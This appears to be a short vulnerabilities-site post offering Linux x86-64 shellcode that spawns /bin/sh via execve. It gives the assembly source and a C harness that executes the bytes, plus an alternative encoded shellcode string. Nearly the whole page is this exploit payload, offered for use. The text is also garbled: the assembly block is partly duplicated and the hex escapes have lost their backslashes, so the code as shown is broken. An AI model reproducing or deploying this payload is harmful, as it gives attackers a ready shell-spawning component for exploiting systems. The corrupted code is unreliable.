/*
global _start
section .text
_start:
push 59
pop rax
cdq
push rdx
mov rbx,0x68732f6e69622f2f
push rbx
push rsp
/*
global _start
section .text
_start:
push 59
pop rax
cdq
push rdx
mov rbx,0x68732f6e69622f2f
push rbx
push rsp
pop rdi
push rdx
push rdi
push rsp
pop rsi
syscall
*/
#include <stdio.h>
#include <string.h>
char code[] = "x6ax3bx58x99x52x48xbbx2fx2fx62x69x6ex2fx73x68x53x54x5fx52x57x54x5ex0fx05";
// char code[] = "x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05";
int main()
{
printf("len:%d bytes
", strlen(code));
(*(void(*)()) code)();
return 0;
}
Linux x86-64 bin sh Shellcode
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 599